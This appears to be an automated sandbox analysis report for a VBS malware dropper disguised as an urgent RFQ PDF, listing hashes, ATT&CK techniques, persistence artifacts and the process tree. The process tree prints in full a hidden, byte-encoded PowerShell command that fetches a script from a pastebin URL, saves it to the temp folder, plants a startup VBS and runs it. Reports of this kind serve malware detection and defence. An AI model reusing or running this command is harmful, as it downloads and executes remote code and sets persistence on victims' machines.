3afff94321f5f55b992d98b50e8af2046d473094a1e1e0611ccddb9bde659fa7

General

Target

RFQ_115A087_202104_20_Urgent_pdf.vbs
Size

5KB
MD5

b36e32526b42e2fb17c93fb9f839bca2
SHA1

eb243b06b6e10ddc227018cc1b4d98209e93beed
SHA256

3afff94321f5f55b992d98b50e8af2046d473094a1e1e0611ccddb9bde659fa7
SHA512

00aaa35901b7dd8fe8aefb22e4ba40d61550984cfe66d1b893651f65b8b0c4cc76f9f36d713e6ce52241d055fc2b01dce880c9fe0b9e4602599fb9113ac5837c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/1grXhFpU

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1708 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1708 powershell.exe
1708 powershell.exe
1552 powershell.exe
1552 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1708 powershell.exe
Token: SeDebugPrivilege 1552 powershell.exe

flow	pid	process
7	1708	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs	powershell.exe

pid	process
1708	powershell.exe
1708	powershell.exe
1552	powershell.exe
1552	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1552	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1688 wrote to memory of 1708	1688	WScript.exe	powershell.exe
PID 1688 wrote to memory of 1708	1688	WScript.exe	powershell.exe
PID 1688 wrote to memory of 1708	1688	WScript.exe	powershell.exe
PID 1708 wrote to memory of 1552	1708	powershell.exe	powershell.exe
PID 1708 wrote to memory of 1552	1708	powershell.exe	powershell.exe
PID 1708 wrote to memory of 1552	1708	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ_115A087_202104_20_Urgent_pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WINDOWSTYLE HIDDEN -EXECUTIONPOLICY UNRESTRICTED -COMMAND IEX ([System.Text.Encoding]::UTF8.GetString(@(35,82,101,97,100,32,67,111,110,116,101,110,116,32,79,102,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,93,32,36,83,116,114,101,97,109,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,79,112,101,110,82,101,97,100,40,34,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,49,103,114,88,104,70,112,85,34,41,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,93,32,36,83,82,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,32,36,83,116,114,101,97,109,13,10,91,83,116,114,105,110,103,93,32,36,82,101,113,32,61,32,36,83,82,46,82,101,97,100,84,111,69,110,100,40,41,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,54,48,48,48,41,13,10,13,10,35,67,114,101,97,116,101,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,79,110,32,72,97,114,100,32,68,105,115,107,32,33,13,10,91,83,116,114,105,110,103,93,32,36,84,69,77,80,32,61,32,36,101,110,118,58,84,69,77,80,32,43,32,34,92,34,32,43,32,34,83,121,115,84,114,97,121,46,80,83,49,34,13,10,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,69,77,80,44,32,36,82,101,113,41,13,10,13,10,35,83,116,97,114,116,117,112,32,73,110,115,116,97,108,108,97,116,105,111,110,13,10,70,117,110,99,116,105,111,110,32,73,78,83,84,65,76,76,40,41,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,86,66,83,82,117,110,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,83,116,114,105,110,103,40,64,40,56,51,44,49,48,49,44,49,49,54,44,51,50,44,55,57,44,57,56,44,49,48,54,44,51,50,44,54,49,44,51,50,44,54,55,44,49,49,52,44,49,48,49,44,57,55,44,49,49,54,44,49,48,49,44,55,57,44,57,56,44,49,48,54,44,49,48,49,44,57,57,44,49,49,54,44,52,48,44,51,52,44,56,55,44,56,51,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,52,54,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,52,44,52,49,44,49,51,44,49,48,44,55,57,44,57,56,44,49,48,54,44,52,54,44,56,50,44,49,49,55,44,49,49,48,44,51,50,44,51,52,44,56,48,44,49,49,49,44,49,49,57,44,49,48,49,44,49,49,52,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,50,44,52,53,44,54,57,44,49,50,48,44,49,48,49,44,57,57,44,49,49,55,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,56,48,44,49,49,49,44,49,48,56,44,49,48,53,44,57,57,44,49,50,49,44,51,50,44,56,50,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,56,51,44,49,48,53,44,49,48,51,44,49,49,48,44,49,48,49,44,49,48,48,44,51,50,44,52,53,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,51,52,44,51,50,44,51,56,44,51,50,44,51,52,44,51,55,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,56,48,44,57,55,44,49,49,54,44,49,48,52,44,51,55,44,51,52,44,52,52,44,51,50,44,52,56,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,83,121,115,116,101,109,76,111,103,105,110,51,50,66,105,116,115,56,57,46,118,98,115,34,41,44,32,36,86,66,83,82,117,110,46,82,101,112,108,97,99,101,40,34,37,70,105,108,101,80,97,116,104,37,34,44,32,36,84,69,77,80,41,41,13,10,125,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,49,48,48,48,41,13,10,13,10,35,82,117,110,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,73,78,83,84,65,76,76,13,10,73,69,88,32,34,80,111,119,101,114,83,104,101,108,108,46,101,120,101,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,36,84,69,77,80,34)))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
069b03bbed507a07dfe930f49b48f192

SHA1
088c2fb4dad548139d34ab65651c967fca508c3e

SHA256
5ea0ce82a0069bf1bd0ca6bea48db4eb527a287c4c7728c0e00a86caae2df4cf

SHA512
a173c271c5b4d258dea3de88ff9e3014118fcebb37c340d93f80a209a9b230b99b9dc4ae219ed477d4479f930d0160536f3fc6a10d6f9635221598cc85f953c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
MD5
17f6a9dc029e40529947825a71a4b69f

SHA1
140d9fa2ec0d48dab4164bd41e5df5c2bc0b5661

SHA256
61b335f21eb74fdff0d12516e7995be1196807ac3b6f4fb0d5dc40a27cb19462

SHA512
3d36931830bea94476817bdaaf46645fa6d7109358bd4906d5dd6de9d429b788ad1d27d76a9830e9ec97541a8a9123727902821fb857690257790db3d868cb18

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
53641be596928e3fa6e1632eaa6ebf1a

SHA1
4065af174607a4065d3487a519c5901bb3221abd

SHA256
ce3cb7260b9e1406f81d096a06c7f1c0e0c37bd9a2ffb100b6d0ec555900a01b

SHA512
56cd1bc5b75b0ca2c267a3c82b284ada17a0fff364dc05db498ad22609239851930a0a3388979d604a36c9a50b77fbe916f972eadfd95c41fba687580127031f

Download Submit
memory/1552-70-0x0000000000000000-mapping.dmp

Download
memory/1552-78-0x000000001AC64000-0x000000001AC66000-memory.dmp

Filesize
8KB

Download
memory/1552-77-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1688-60-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/1708-64-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

Filesize
4KB

Download
memory/1708-69-0x000000001B970000-0x000000001B971000-memory.dmp

Filesize
4KB

Download
memory/1708-67-0x000000001AB30000-0x000000001AB32000-memory.dmp

Filesize
8KB

Download
memory/1708-68-0x000000001AB34000-0x000000001AB36000-memory.dmp

Filesize
8KB

Download
memory/1708-66-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1708-65-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1708-63-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1708-61-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing